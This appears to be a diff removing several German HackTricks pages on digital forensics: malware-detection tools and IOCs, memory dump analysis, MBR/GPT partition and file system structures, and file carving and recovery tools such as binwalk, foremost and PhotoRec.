IOC bedeutet Indicator Of Compromise. Ein IOC ist eine Reihe von **Bedingungen, die** potenziell unerwünschte Software oder bestätigte **Malware** identifizieren. Blue Teams verwenden diese Art von Definition, um **nach dieser Art von bösartigen Dateien** in ihren **Systemen** und **Netzwerken** zu **suchen**.\
|
||||
Diese Definitionen zu teilen ist sehr nützlich, da, wenn Malware auf einem Computer identifiziert wird und ein IOC für diese Malware erstellt wird, andere Blue Teams es verwenden können, um die Malware schneller zu identifizieren.
|
||||
|
||||
Ein Tool zum Erstellen oder Modifizieren von IOCs ist [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
|
||||
Sie können Tools wie [**Redline**](https://www.fireeye.com/services/freeware/redline.html) verwenden, um **nach definierten IOCs auf einem Gerät** zu **suchen**.
|
||||
|
||||
### Loki
|
||||
|
||||
[**Loki**](https://github.com/Neo23x0/Loki) ist ein Scanner für einfache Indikatoren von Kompromittierungen.\
|
||||
Die Erkennung basiert auf vier Erkennungsmethoden:
|
||||
```
|
||||
1. File Name IOC
|
||||
Regex match on full file path/name
|
||||
|
||||
2. Yara Rule Check
|
||||
Yara signature matches on file data and process memory
|
||||
|
||||
3. Hash Check
|
||||
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
|
||||
|
||||
4. C2 Back Connect Check
|
||||
Compares process connection endpoints with C2 IOCs (new since version v.10)
|
||||
```
|
||||
### Linux Malware Detect
|
||||
|
||||
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) ist ein Malware-Scanner für Linux, der unter der GNU GPLv2-Lizenz veröffentlicht wurde und auf die Bedrohungen in gemeinsam genutzten Hosting-Umgebungen ausgerichtet ist. Er verwendet Bedrohungsdaten von Netzwerkgrenzen-Intrusion-Detection-Systemen, um Malware zu extrahieren, die aktiv in Angriffen verwendet wird, und generiert Signaturen zur Erkennung. Darüber hinaus stammen Bedrohungsdaten auch aus Benutzereinsendungen mit der LMD-Checkout-Funktion und Ressourcen der Malware-Community.
|
||||
|
||||
### rkhunter
|
||||
|
||||
Tools wie [**rkhunter**](http://rkhunter.sourceforge.net) können verwendet werden, um das Dateisystem auf mögliche **Rootkits** und Malware zu überprüfen.
|
||||
```bash
|
||||
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
|
||||
```
|
||||
### FLOSS
|
||||
|
||||
[**FLOSS**](https://github.com/mandiant/flare-floss) ist ein Tool, das versucht, obfuskierte Strings in ausführbaren Dateien mit verschiedenen Techniken zu finden.
|
||||
|
||||
### PEpper
|
||||
|
||||
[PEpper ](https://github.com/Th3Hurrican3/PEpper) überprüft einige grundlegende Dinge in der ausführbaren Datei (binäre Daten, Entropie, URLs und IPs, einige Yara-Regeln).
|
||||
|
||||
### PEstudio
|
||||
|
||||
[PEstudio](https://www.winitor.com/download) ist ein Tool, das Informationen über Windows-Ausführungsdateien wie Importe, Exporte, Header bereitstellt, aber auch Virus Total überprüft und potenzielle Att\&ck-Techniken findet.
|
||||
|
||||
### Detect It Easy(DiE)
|
||||
|
||||
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) ist ein Tool, um zu erkennen, ob eine Datei **verschlüsselt** ist und auch **Packers** zu finden.
|
||||
|
||||
### NeoPI
|
||||
|
||||
[**NeoPI** ](https://github.com/CiscoCXSecurity/NeoPI) ist ein Python-Skript, das eine Vielzahl von **statistischen Methoden** verwendet, um **obfuskierte** und **verschlüsselte** Inhalte in Text-/Skriptdateien zu erkennen. Der beabsichtigte Zweck von NeoPI ist es, bei der **Erkennung von verstecktem Webshell-Code** zu helfen.
|
||||
|
||||
### **php-malware-finder**
|
||||
|
||||
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) gibt sein Bestes, um **obfuskierte**/**verdächtige Codes** sowie Dateien zu erkennen, die häufig in **Malware**/Webshells verwendete **PHP**-Funktionen nutzen.
|
||||
|
||||
### Apple Binary Signatures
|
||||
|
||||
Beim Überprüfen einer **Malware-Probe** sollten Sie immer die **Signatur** der Binärdatei überprüfen, da der **Entwickler**, der sie signiert hat, möglicherweise bereits mit **Malware** **verbunden** ist.
|
||||
```bash
|
||||
#Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
|
||||
#Check if the app’s contents have been modified
|
||||
codesign --verify --verbose /Applications/Safari.app
|
||||
|
||||
#Check if the signature is valid
|
||||
spctl --assess --verbose /Applications/Safari.app
|
||||
```
|
||||
## Erkennungstechniken
|
||||
|
||||
### Dateistapelung
|
||||
|
||||
Wenn Sie wissen, dass ein Ordner mit den **Dateien** eines Webservers **am letzten Datum aktualisiert wurde**. **Überprüfen** Sie das **Datum**, an dem alle **Dateien** im **Webserver erstellt und geändert** wurden, und wenn ein Datum **verdächtig** ist, überprüfen Sie diese Datei.
|
||||
|
||||
### Basislinien
|
||||
|
||||
Wenn die Dateien eines Ordners **nicht geändert worden sein sollten**, können Sie den **Hash** der **ursprünglichen Dateien** des Ordners berechnen und sie mit den **aktuellen** vergleichen. Alles, was geändert wurde, ist **verdächtig**.
|
||||
|
||||
### Statistische Analyse
|
||||
|
||||
Wenn die Informationen in Protokollen gespeichert sind, können Sie **Statistiken überprüfen, wie oft jede Datei eines Webservers aufgerufen wurde, da eine Web-Shell eine der häufigsten sein könnte**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,37 +0,0 @@
|
||||
# Speicherabbildanalyse
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Start
|
||||
|
||||
Beginnen Sie mit der **Suche** nach **Malware** im pcap. Verwenden Sie die in [**Malware-Analyse**](../malware-analysis.md) genannten **Werkzeuge**.
|
||||
|
||||
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
|
||||
|
||||
**Volatility ist das Haupt-Open-Source-Framework für die Analyse von Speicherabbildern**. Dieses Python-Tool analysiert Dumps von externen Quellen oder VMware-VMs und identifiziert Daten wie Prozesse und Passwörter basierend auf dem OS-Profil des Dumps. Es ist mit Plugins erweiterbar, was es äußerst vielseitig für forensische Untersuchungen macht.
|
||||
|
||||
**[Hier finden Sie ein Cheatsheet](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
|
||||
|
||||
## Mini-Dump-Absturzbericht
|
||||
|
||||
Wenn der Dump klein ist (nur einige KB, vielleicht ein paar MB), dann handelt es sich wahrscheinlich um einen Mini-Dump-Absturzbericht und nicht um ein Speicherabbild.
|
||||
|
||||
.png>)
|
||||
|
||||
Wenn Sie Visual Studio installiert haben, können Sie diese Datei öffnen und einige grundlegende Informationen wie Prozessname, Architektur, Ausnahmeinformationen und ausgeführte Module binden:
|
||||
|
||||
.png>)
|
||||
|
||||
Sie können auch die Ausnahme laden und die dekompilierten Anweisungen ansehen
|
||||
|
||||
.png>)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Wie auch immer, Visual Studio ist nicht das beste Werkzeug, um eine Analyse der Tiefe des Dumps durchzuführen.
|
||||
|
||||
Sie sollten es **öffnen**, um es mit **IDA** oder **Radare** **gründlich** zu inspizieren.
|
||||
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,234 +0,0 @@
|
||||
# Partitionen/Dateisysteme/Carving
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Partitionen
|
||||
|
||||
Eine Festplatte oder eine **SSD kann verschiedene Partitionen enthalten**, um Daten physisch zu trennen.\
|
||||
Die **minimale** Einheit einer Festplatte ist der **Sektor** (normalerweise aus 512B bestehend). Daher muss die Größe jeder Partition ein Vielfaches dieser Größe sein.
|
||||
|
||||
### MBR (Master Boot Record)
|
||||
|
||||
Er wird im **ersten Sektor der Festplatte nach den 446B des Bootcodes** zugewiesen. Dieser Sektor ist entscheidend, um dem PC anzuzeigen, was und von wo eine Partition gemountet werden soll.\
|
||||
Er erlaubt bis zu **4 Partitionen** (maximal **nur 1** kann aktiv/**bootfähig** sein). Wenn Sie jedoch mehr Partitionen benötigen, können Sie **erweiterte Partitionen** verwenden. Das **letzte Byte** dieses ersten Sektors ist die Bootrecord-Signatur **0x55AA**. Nur eine Partition kann als aktiv markiert werden.\
|
||||
MBR erlaubt **max 2,2TB**.
|
||||
|
||||
.png>)
|
||||
|
||||
.png>)
|
||||
|
||||
Von den **Bytes 440 bis 443** des MBR finden Sie die **Windows-Disk-Signatur** (wenn Windows verwendet wird). Der logische Laufwerksbuchstabe der Festplatte hängt von der Windows-Disk-Signatur ab. Das Ändern dieser Signatur könnte verhindern, dass Windows bootet (Tool: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
|
||||
|
||||
.png>)
|
||||
|
||||
**Format**
|
||||
|
||||
| Offset | Länge | Element |
|
||||
| ----------- | ---------- | ------------------- |
|
||||
| 0 (0x00) | 446(0x1BE) | Bootcode |
|
||||
| 446 (0x1BE) | 16 (0x10) | Erste Partition |
|
||||
| 462 (0x1CE) | 16 (0x10) | Zweite Partition |
|
||||
| 478 (0x1DE) | 16 (0x10) | Dritte Partition |
|
||||
| 494 (0x1EE) | 16 (0x10) | Vierte Partition |
|
||||
| 510 (0x1FE) | 2 (0x2) | Signatur 0x55 0xAA |
|
||||
|
||||
**Partition Record Format**
|
||||
|
||||
| Offset | Länge | Element |
|
||||
| --------- | -------- | ------------------------------------------------------- |
|
||||
| 0 (0x00) | 1 (0x01) | Aktives Flag (0x80 = bootfähig) |
|
||||
| 1 (0x01) | 1 (0x01) | Startkopf |
|
||||
| 2 (0x02) | 1 (0x01) | Startsektor (Bits 0-5); obere Bits des Zylinders (6-7) |
|
||||
| 3 (0x03) | 1 (0x01) | Startzylinder niedrigste 8 Bits |
|
||||
| 4 (0x04) | 1 (0x01) | Partitionstyp-Code (0x83 = Linux) |
|
||||
| 5 (0x05) | 1 (0x01) | Endkopf |
|
||||
| 6 (0x06) | 1 (0x01) | Endsektor (Bits 0-5); obere Bits des Zylinders (6-7) |
|
||||
| 7 (0x07) | 1 (0x01) | Endzylinder niedrigste 8 Bits |
|
||||
| 8 (0x08) | 4 (0x04) | Sektoren vor der Partition (little endian) |
|
||||
| 12 (0x0C) | 4 (0x04) | Sektoren in der Partition |
|
||||
|
||||
Um ein MBR in Linux zu mounten, müssen Sie zuerst den Startoffset ermitteln (Sie können `fdisk` und den `p`-Befehl verwenden)
|
||||
|
||||
 (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
|
||||
|
||||
Und dann verwenden Sie den folgenden Code
|
||||
```bash
|
||||
#Mount MBR in Linux
|
||||
mount -o ro,loop,offset=<Bytes>
|
||||
#63x512 = 32256Bytes
|
||||
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
|
||||
```
|
||||
**LBA (Logische Blockadressierung)**
|
||||
|
||||
**Logische Blockadressierung** (**LBA**) ist ein gängiges Schema zur **Spezifizierung des Standorts von Blöcken** von Daten, die auf Computer-Speichergeräten gespeichert sind, in der Regel auf sekundären Speichersystemen wie Festplatten. LBA ist ein besonders einfaches lineares Adressierungsschema; **Blöcke werden durch einen ganzzahligen Index lokalisiert**, wobei der erste Block LBA 0, der zweite LBA 1 und so weiter ist.
|
||||
|
||||
### GPT (GUID-Partitionstabelle)
|
||||
|
||||
Die GUID-Partitionstabelle, bekannt als GPT, wird aufgrund ihrer erweiterten Funktionen im Vergleich zu MBR (Master Boot Record) bevorzugt. Auffällig ist ihr **global eindeutiger Identifikator** für Partitionen, der sich in mehreren Aspekten auszeichnet:
|
||||
|
||||
- **Standort und Größe**: Sowohl GPT als auch MBR beginnen bei **Sektor 0**. GPT arbeitet jedoch mit **64-Bit**, im Gegensatz zu MBRs 32-Bit.
|
||||
- **Partitionsgrenzen**: GPT unterstützt bis zu **128 Partitionen** auf Windows-Systemen und kann bis zu **9,4ZB** an Daten aufnehmen.
|
||||
- **Partitionsnamen**: Bietet die Möglichkeit, Partitionen mit bis zu 36 Unicode-Zeichen zu benennen.
|
||||
|
||||
**Datenresilienz und Wiederherstellung**:
|
||||
|
||||
- **Redundanz**: Im Gegensatz zu MBR beschränkt GPT die Partitionierung und Bootdaten nicht auf einen einzigen Ort. Es repliziert diese Daten über die gesamte Festplatte, was die Datenintegrität und Resilienz erhöht.
|
||||
- **Zyklische Redundanzprüfung (CRC)**: GPT verwendet CRC, um die Datenintegrität sicherzustellen. Es überwacht aktiv auf Datenkorruption, und wenn diese erkannt wird, versucht GPT, die beschädigten Daten von einem anderen Speicherort auf der Festplatte wiederherzustellen.
|
||||
|
||||
**Schützendes MBR (LBA0)**:
|
||||
|
||||
- GPT erhält die Abwärtskompatibilität durch ein schützendes MBR. Diese Funktion befindet sich im Legacy-MBR-Bereich, ist jedoch so konzipiert, dass sie ältere MBR-basierte Dienstprogramme daran hindert, GPT-Festplatten versehentlich zu überschreiben, und somit die Datenintegrität auf GPT-formatierten Festplatten schützt.
|
||||
|
||||
.png>)
|
||||
|
||||
**Hybrides MBR (LBA 0 + GPT)**
|
||||
|
||||
[Von Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
In Betriebssystemen, die **GPT-basiertes Booten über BIOS**-Dienste anstelle von EFI unterstützen, kann der erste Sektor auch weiterhin verwendet werden, um die erste Stufe des **Bootloader**-Codes zu speichern, jedoch **modifiziert**, um **GPT**-**Partitionen** zu erkennen. Der Bootloader im MBR darf nicht von einer Sektorgröße von 512 Bytes ausgehen.
|
||||
|
||||
**Partitionstabelle-Header (LBA 1)**
|
||||
|
||||
[Von Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
Der Partitionstabelle-Header definiert die verwendbaren Blöcke auf der Festplatte. Er definiert auch die Anzahl und Größe der Partitionseinträge, die die Partitionstabelle bilden (Offsets 80 und 84 in der Tabelle).
|
||||
|
||||
| Offset | Länge | Inhalt |
|
||||
| --------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 0 (0x00) | 8 Bytes | Signatur ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h oder 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)auf Little-Endian-Maschinen) |
|
||||
| 8 (0x08) | 4 Bytes | Revision 1.0 (00h 00h 01h 00h) für UEFI 2.8 |
|
||||
| 12 (0x0C) | 4 Bytes | Headergröße in Little Endian (in Bytes, normalerweise 5Ch 00h 00h 00h oder 92 Bytes) |
|
||||
| 16 (0x10) | 4 Bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) des Headers (Offset +0 bis Headergröße) in Little Endian, wobei dieses Feld während der Berechnung auf Null gesetzt wird |
|
||||
| 20 (0x14) | 4 Bytes | Reserviert; muss Null sein |
|
||||
| 24 (0x18) | 8 Bytes | Aktuelles LBA (Standort dieser Headerkopie) |
|
||||
| 32 (0x20) | 8 Bytes | Backup-LBA (Standort der anderen Headerkopie) |
|
||||
| 40 (0x28) | 8 Bytes | Erstes verwendbares LBA für Partitionen (letztes LBA der primären Partitionstabelle + 1) |
|
||||
| 48 (0x30) | 8 Bytes | Letztes verwendbares LBA (erstes LBA der sekundären Partitionstabelle − 1) |
|
||||
| 56 (0x38) | 16 Bytes | Festplattenguid in gemischtem Endian |
|
||||
| 72 (0x48) | 8 Bytes | Start-LBA eines Arrays von Partitionseinträgen (immer 2 in der primären Kopie) |
|
||||
| 80 (0x50) | 4 Bytes | Anzahl der Partitionseinträge im Array |
|
||||
| 84 (0x54) | 4 Bytes | Größe eines einzelnen Partitionseintrags (normalerweise 80h oder 128) |
|
||||
| 88 (0x58) | 4 Bytes | CRC32 des Arrays der Partitionseinträge in Little Endian |
|
||||
| 92 (0x5C) | \* | Reserviert; muss für den Rest des Blocks Null sein (420 Bytes für eine Sektorgröße von 512 Bytes; kann jedoch mehr sein bei größeren Sektorgrößen) |
|
||||
|
||||
**Partitionseinträge (LBA 2–33)**
|
||||
|
||||
| GUID-Partitionseintragsformat | | |
|
||||
| ------------------------------ | -------- | ------------------------------------------------------------------------------------------------------------- |
|
||||
| Offset | Länge | Inhalt |
|
||||
| 0 (0x00) | 16 Bytes | [Partitionstyp-GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (gemischtes Endian) |
|
||||
| 16 (0x10) | 16 Bytes | Eindeutige Partition-GUID (gemischtes Endian) |
|
||||
| 32 (0x20) | 8 Bytes | Erstes LBA ([Little Endian](https://en.wikipedia.org/wiki/Little_endian)) |
|
||||
| 40 (0x28) | 8 Bytes | Letztes LBA (einschließlich, normalerweise ungerade) |
|
||||
| 48 (0x30) | 8 Bytes | Attribut-Flags (z. B. Bit 60 bezeichnet schreibgeschützt) |
|
||||
| 56 (0x38) | 72 Bytes | Partitionsname (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE-Code-Einheiten) |
|
||||
|
||||
**Partitionstypen**
|
||||
|
||||
.png>)
|
||||
|
||||
Weitere Partitionstypen unter [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
||||
### Inspektion
|
||||
|
||||
Nachdem das forensische Image mit [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) gemountet wurde, können Sie den ersten Sektor mit dem Windows-Tool [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** In dem folgenden Bild wurde ein **MBR** im **Sektor 0** erkannt und interpretiert:
|
||||
|
||||
.png>)
|
||||
|
||||
Wenn es sich um eine **GPT-Tabelle anstelle eines MBR** handelte, sollte die Signatur _EFI PART_ im **Sektor 1** erscheinen (der im vorherigen Bild leer ist).
|
||||
|
||||
## Dateisysteme
|
||||
|
||||
### Liste der Windows-Dateisysteme
|
||||
|
||||
- **FAT12/16**: MSDOS, WIN95/98/NT/200
|
||||
- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
|
||||
- **ExFAT**: 2008/2012/2016/VISTA/7/8/10
|
||||
- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
|
||||
- **ReFS**: 2012/2016
|
||||
|
||||
### FAT
|
||||
|
||||
Das **FAT (File Allocation Table)**-Dateisystem ist um seine Kernkomponente, die Dateizuordnungstabelle, herum gestaltet, die sich am Anfang des Volumes befindet. Dieses System schützt Daten, indem es **zwei Kopien** der Tabelle aufrechterhält, um die Datenintegrität zu gewährleisten, selbst wenn eine beschädigt ist. Die Tabelle sowie der Stammordner müssen sich an einem **festen Standort** befinden, was für den Startprozess des Systems entscheidend ist.
|
||||
|
||||
Die grundlegende Speichereinheit des Dateisystems ist ein **Cluster, normalerweise 512B**, der aus mehreren Sektoren besteht. FAT hat sich durch verschiedene Versionen weiterentwickelt:
|
||||
|
||||
- **FAT12**, unterstützt 12-Bit-Clusteradressen und verarbeitet bis zu 4078 Cluster (4084 mit UNIX).
|
||||
- **FAT16**, verbessert auf 16-Bit-Adressen, wodurch bis zu 65.517 Cluster unterstützt werden.
|
||||
- **FAT32**, weiter fortgeschritten mit 32-Bit-Adressen, was beeindruckende 268.435.456 Cluster pro Volume ermöglicht.
|
||||
|
||||
Eine wesentliche Einschränkung über alle FAT-Versionen hinweg ist die **maximale Dateigröße von 4 GB**, die durch das 32-Bit-Feld für die Dateigrößenspeicherung auferlegt wird.
|
||||
|
||||
Wichtige Komponenten des Stammverzeichnisses, insbesondere für FAT12 und FAT16, umfassen:
|
||||
|
||||
- **Datei-/Ordnername** (bis zu 8 Zeichen)
|
||||
- **Attribute**
|
||||
- **Erstellungs-, Änderungs- und zuletzt Zugriffsdatum**
|
||||
- **FAT-Tabellenadresse** (die den Start-Cluster der Datei angibt)
|
||||
- **Dateigröße**
|
||||
|
||||
### EXT
|
||||
|
||||
**Ext2** ist das häufigste Dateisystem für **nicht journaling** Partitionen (**Partitionen, die sich nicht viel ändern**) wie die Bootpartition. **Ext3/4** sind **journaling** und werden normalerweise für die **restlichen Partitionen** verwendet.
|
||||
|
||||
## **Metadaten**
|
||||
|
||||
Einige Dateien enthalten Metadaten. Diese Informationen beziehen sich auf den Inhalt der Datei, die für einen Analysten manchmal interessant sein könnten, da sie je nach Dateityp Informationen wie Folgendes enthalten können:
|
||||
|
||||
- Titel
|
||||
- Verwendete MS Office-Version
|
||||
- Autor
|
||||
- Erstellungs- und Änderungsdaten
|
||||
- Kameramodell
|
||||
- GPS-Koordinaten
|
||||
- Bildinformationen
|
||||
|
||||
Sie können Tools wie [**exiftool**](https://exiftool.org) und [**Metadiver**](https://www.easymetadata.com/metadiver-2/) verwenden, um die Metadaten einer Datei abzurufen.
|
||||
|
||||
## **Wiederherstellung gelöschter Dateien**
|
||||
|
||||
### Protokollierte gelöschte Dateien
|
||||
|
||||
Wie bereits gesehen, gibt es mehrere Orte, an denen die Datei nach ihrer "Löschung" weiterhin gespeichert ist. Dies liegt daran, dass die Löschung einer Datei aus einem Dateisystem normalerweise nur als gelöscht markiert, aber die Daten nicht berührt werden. Daher ist es möglich, die Register der Dateien (wie die MFT) zu inspizieren und die gelöschten Dateien zu finden.
|
||||
|
||||
Außerdem speichert das Betriebssystem normalerweise viele Informationen über Änderungen am Dateisystem und Backups, sodass es möglich ist, zu versuchen, diese zu verwenden, um die Datei oder so viele Informationen wie möglich wiederherzustellen.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### **File Carving**
|
||||
|
||||
**File Carving** ist eine Technik, die versucht, **Dateien im Datenbulk zu finden**. Es gibt 3 Hauptmethoden, wie solche Tools funktionieren: **Basierend auf Dateityp-Headern und -Fußzeilen**, basierend auf Dateityp-**Strukturen** und basierend auf dem **Inhalt** selbst.
|
||||
|
||||
Beachten Sie, dass diese Technik **nicht funktioniert, um fragmentierte Dateien wiederherzustellen**. Wenn eine Datei **nicht in zusammenhängenden Sektoren gespeichert ist**, kann diese Technik sie nicht finden oder zumindest nicht einen Teil davon.
|
||||
|
||||
Es gibt mehrere Tools, die Sie für File Carving verwenden können, um die Dateitypen anzugeben, nach denen Sie suchen möchten.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Datenstrom **C**arving
|
||||
|
||||
Datenstrom-Carving ähnelt dem File Carving, aber **anstatt nach vollständigen Dateien zu suchen, sucht es nach interessanten Fragmenten** von Informationen.\
|
||||
Zum Beispiel, anstatt nach einer vollständigen Datei mit protokollierten URLs zu suchen, wird diese Technik nach URLs suchen.
|
||||
|
||||
{{#ref}}
|
||||
file-data-carving-recovery-tools.md
|
||||
{{#endref}}
|
||||
|
||||
### Sichere Löschung
|
||||
|
||||
Offensichtlich gibt es Möglichkeiten, **Dateien und Teile von Protokollen über sie "sicher" zu löschen**. Zum Beispiel ist es möglich, den **Inhalt** einer Datei mehrmals mit Junk-Daten zu überschreiben und dann die **Protokolle** aus der **$MFT** und **$LOGFILE** über die Datei zu **entfernen** und die **Volume Shadow Copies** zu **entfernen**.\
|
||||
Sie werden feststellen, dass selbst bei dieser Aktion möglicherweise **andere Teile, in denen die Existenz der Datei weiterhin protokolliert ist**, vorhanden sind, und das ist wahr, und ein Teil der Arbeit eines forensischen Fachmanns besteht darin, sie zu finden.
|
||||
|
||||
## Referenzen
|
||||
|
||||
- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
|
||||
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
|
||||
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
|
||||
- **iHackLabs Zertifizierte Digitale Forensik Windows**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,87 +0,0 @@
|
||||
# Datei-/Daten-Carving & Wiederherstellungstools
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Carving- & Wiederherstellungstools
|
||||
|
||||
Weitere Tools unter [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
Das am häufigsten verwendete Tool in der Forensik zum Extrahieren von Dateien aus Bildern ist [**Autopsy**](https://www.autopsy.com/download/). Laden Sie es herunter, installieren Sie es und lassen Sie es die Datei verarbeiten, um "versteckte" Dateien zu finden. Beachten Sie, dass Autopsy entwickelt wurde, um Festplattenabbilder und andere Arten von Bildern zu unterstützen, jedoch keine einfachen Dateien.
|
||||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** ist ein Tool zur Analyse von Binärdateien, um eingebettete Inhalte zu finden. Es kann über `apt` installiert werden und der Quellcode ist auf [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Nützliche Befehle**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
binwalk -e file #Displays and extracts some files from the given file
|
||||
binwalk --dd ".*" file #Displays and extracts all files from the given file
|
||||
```
|
||||
### Foremost
|
||||
|
||||
Ein weiteres gängiges Tool, um versteckte Dateien zu finden, ist **foremost**. Die Konfigurationsdatei von foremost finden Sie unter `/etc/foremost.conf`. Wenn Sie nur nach bestimmten Dateien suchen möchten, kommentieren Sie diese aus. Wenn Sie nichts auskommentieren, sucht foremost nach den standardmäßig konfigurierten Dateitypen.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
#Discovered files will appear inside the folder "output"
|
||||
```
|
||||
### **Scalpel**
|
||||
|
||||
**Scalpel** ist ein weiteres Tool, das verwendet werden kann, um **Dateien, die in einer Datei eingebettet sind**, zu finden und zu extrahieren. In diesem Fall müssen Sie die Dateitypen, die Sie extrahieren möchten, aus der Konfigurationsdatei (_/etc/scalpel/scalpel.conf_) auskommentieren.
|
||||
```bash
|
||||
sudo apt-get install scalpel
|
||||
scalpel file.img -o output
|
||||
```
|
||||
### Bulk Extractor
|
||||
|
||||
Dieses Tool ist in Kali enthalten, aber Sie können es hier finden: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
|
||||
|
||||
Dieses Tool kann ein Image scannen und wird **pcaps** darin **extrahieren**, **Netzwerkinformationen (URLs, Domains, IPs, MACs, Mails)** und weitere **Dateien**. Sie müssen nur:
|
||||
```
|
||||
bulk_extractor memory.img -o out_folder
|
||||
```
|
||||
Navigieren Sie durch **alle Informationen**, die das Tool gesammelt hat (Passwörter?), **analysieren** Sie die **Pakete** (lesen Sie [**Pcaps-Analyse**](../pcap-inspection/index.html)), suchen Sie nach **seltsamen Domains** (Domains, die mit **Malware** oder **nicht existierenden** in Verbindung stehen).
|
||||
|
||||
### PhotoRec
|
||||
|
||||
Sie finden es unter [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
|
||||
|
||||
Es kommt mit GUI- und CLI-Versionen. Sie können die **Dateitypen** auswählen, nach denen PhotoRec suchen soll.
|
||||
|
||||
.png>)
|
||||
|
||||
### binvis
|
||||
|
||||
Überprüfen Sie den [Code](https://code.google.com/archive/p/binvis/) und die [Webseite des Tools](https://binvis.io/#/).
|
||||
|
||||
#### Funktionen von BinVis
|
||||
|
||||
- Visueller und aktiver **Struktur-Viewer**
|
||||
- Mehrere Plots für verschiedene Fokuspunkte
|
||||
- Fokussierung auf Teile einer Probe
|
||||
- **Anzeigen von Strings und Ressourcen**, in PE- oder ELF-Executables z. B.
|
||||
- Erhalten von **Mustern** für die Kryptoanalyse von Dateien
|
||||
- **Erkennen** von Packer- oder Encoder-Algorithmen
|
||||
- **Identifizieren** von Steganographie durch Muster
|
||||
- **Visuelles** binäres Differenzieren
|
||||
|
||||
BinVis ist ein großartiger **Ausgangspunkt, um sich mit einem unbekannten Ziel** in einem Black-Box-Szenario vertraut zu machen.
|
||||
|
||||
## Spezifische Daten-Carving-Tools
|
||||
|
||||
### FindAES
|
||||
|
||||
Sucht nach AES-Schlüsseln, indem es nach ihren Schlüsselschemata sucht. In der Lage, 128, 192 und 256 Bit Schlüssel zu finden, wie sie von TrueCrypt und BitLocker verwendet werden.
|
||||
|
||||
Laden Sie [hier](https://sourceforge.net/projects/findaes/) herunter.
|
||||
|
||||
## Ergänzende Werkzeuge
|
||||
|
||||
Sie können [**viu** ](https://github.com/atanunq/viu) verwenden, um Bilder aus dem Terminal anzuzeigen.\
|
||||
Sie können das Linux-Befehlszeilenwerkzeug **pdftotext** verwenden, um ein PDF in Text umzuwandeln und es zu lesen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -1,65 +0,0 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
# Carving-Tools
|
||||
|
||||
## Autopsy
|
||||
|
||||
